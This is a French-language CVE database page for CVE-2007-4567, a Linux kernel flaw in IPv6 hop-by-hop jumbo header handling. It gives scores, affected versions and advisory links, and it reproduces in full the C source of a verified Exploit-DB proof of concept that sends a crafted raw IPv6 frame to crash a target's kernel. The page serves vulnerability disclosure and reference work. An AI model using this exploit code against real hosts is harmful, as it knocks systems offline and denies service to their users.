CVE-2007-4567 : Détail

CVE-2007-4567

A03-Injection
5.52%V4
Network
2007-12-20
23h00 +00:00
2018-10-03
18h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The ipv6_hop_jumbo function in net/ipv6/exthdrs.c in the Linux kernel before 2.6.22 does not properly validate the hop-by-hop IPv6 extended header, which allows remote attackers to cause a denial of service (NULL pointer dereference and kernel panic) via a crafted IPv6 packet.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 30902

Date de publication : 2007-12-18 23h00 +00:00
Auteur : Clemens Kurtenbach
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/26943/info The Linux kernel is prone to a remote denial-of-service vulnerability because it fails to adequately validate specially crafted IPv6 'Hop-By-Hop' headers. Attackers can exploit this issue to cause a kernel panic, denying service to legitimate users. */ /* * Clemens Kurtenbach <ckurtenbach at s21sec . com> * PoC code for exploiting the jumbo bug found in * linux kernels >=2.6.20 and <=2.6.21.1 * gcc -O2 ipv6_jumbo_crash.c -o ipv6_jumbo_crash * */ /* io */ #include <stdio.h> #include <string.h> #include <stdlib.h> /* network */ #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <linux/if_arp.h> #include <netdb.h> #include <linux/if.h> #define MY_FRAME_LEN 1145 char *resolve6(unsigned char *target) { char *ret_addr; struct in6_addr my_in6; char *glob_addr = (char *) &my_in6; struct addrinfo addr_hints, *addr_result; unsigned char out[64]; memset(&addr_hints, 0, sizeof(addr_hints)); addr_hints.ai_family = AF_INET6; if (getaddrinfo(target, NULL, &addr_hints, &addr_result) != 0) { printf("getaddrinfo() error\n"); exit(1); } if(getnameinfo(addr_result->ai_addr, addr_result->ai_addrlen, out, sizeof(out), NULL, 0, NI_NUMERICHOST) != 0){ printf("getnameinfo() error\n"); exit(1); } if(inet_pton(AF_INET6, out, glob_addr) < 0) { printf("inet_pton() error\n"); exit(1); } if((ret_addr = malloc(16)) == NULL) { printf("malloc() error\n"); exit(1); } memcpy(ret_addr, my_in6.s6_addr, 16); return ret_addr; } int main(int argc, char *argv[]) { if (argc < 4) { printf("usage: ./ipv6_jumbo_crash <fe80::1:2:3> <00:11:22:33:44:55> <eth0>\n"); exit(1); } /* handle IPv6 destination */ unsigned char *dest_ip = resolve6(argv[1]); /* handle MAC */ unsigned char dest_mac[7]; sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int*)&dest_mac[0], (unsigned int*)&dest_mac[1], (unsigned int*)&dest_mac[2], (unsigned int*)&dest_mac[3], (unsigned int*)&dest_mac[4], (unsigned int*)&dest_mac[5]); /* handle interface */ unsigned char *iface; iface = argv[3]; /* buffer for ethernet frame */ void *buffer = (void*)malloc(MY_FRAME_LEN); /* pointer to ethenet header */ unsigned char *etherhead = buffer; struct ethhdr *eh = (struct ethhdr *)etherhead; /* our MAC address */ unsigned char src_mac[6] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 }; unsigned char src_ip[16] = { 0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02}; /* prepare socket */ int s; s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) { printf("cannot create socket: [%d]\n",s); exit(1); } /* RAW communication */ struct sockaddr_ll socket_address; socket_address.sll_family = PF_PACKET; socket_address.sll_protocol = htons(ETH_P_IP); socket_address.sll_ifindex = if_nametoindex(iface); socket_address.sll_hatype = ARPHRD_ETHER; socket_address.sll_pkttype = PACKET_OTHERHOST; socket_address.sll_halen = ETH_ALEN; /* set the frame header */ memcpy((void*)buffer, (void*)dest_mac, ETH_ALEN); memcpy((void*)(buffer+ETH_ALEN), (void*)src_mac, ETH_ALEN); eh->h_proto = 0xdd86; // IPv6 /* the buffer we want to send */ unsigned char bad_buffer[] = { 0x60, 0x3b, 0x50, 0x15, 0x04, 0x08, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6e, 0xc2, 0x05, 0x23 }; memcpy((void*)(buffer+14), (void*)bad_buffer, MY_FRAME_LEN); /* overwrite our src and dst ip */ memcpy((void*)(buffer+22), (void*)src_ip, 16); memcpy((void*)(buffer+38), dest_ip, 16); /* send the buffer */ int send_result = 0; send_result = sendto(s, buffer, MY_FRAME_LEN, 0, (struct sockaddr*)&socket_address, sizeof(socket_address)); if (send_result == -1) { printf("could not send frame: [%d]\n", send_result); exit(1); } else printf("frame send to ip [%s] with mac [%s] on iface [%s]\n",argv[1],argv[2],argv[3]); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.21.7

Linux>>Linux_kernel >> Version 2.2.27

Linux>>Linux_kernel >> Version 2.4.36

Linux>>Linux_kernel >> Version 2.4.36.1

Linux>>Linux_kernel >> Version 2.4.36.2

Linux>>Linux_kernel >> Version 2.4.36.3

Linux>>Linux_kernel >> Version 2.4.36.4

Linux>>Linux_kernel >> Version 2.4.36.5

Linux>>Linux_kernel >> Version 2.4.36.6

Linux>>Linux_kernel >> Version 2.6

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.19.4

Linux>>Linux_kernel >> Version 2.6.19.5

Linux>>Linux_kernel >> Version 2.6.19.6

Linux>>Linux_kernel >> Version 2.6.19.7

Linux>>Linux_kernel >> Version 2.6.20.16

Linux>>Linux_kernel >> Version 2.6.20.17

Linux>>Linux_kernel >> Version 2.6.20.18

Linux>>Linux_kernel >> Version 2.6.20.19

Linux>>Linux_kernel >> Version 2.6.20.20

Linux>>Linux_kernel >> Version 2.6.20.21

Linux>>Linux_kernel >> Version 2.6.21.5

Linux>>Linux_kernel >> Version 2.6.21.6

Références

http://secunia.com/advisories/28706
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2010-0053.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2010-0019.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/26943
Tags : vdb-entry, x_refsource_BID
https://usn.ubuntu.com/558-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/25505
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-574-1
Tags : vendor-advisory, x_refsource_UBUNTU
https://rhn.redhat.com/errata/RHSA-2010-0095.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/28170
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/38015
Tags : third-party-advisory, x_refsource_SECUNIA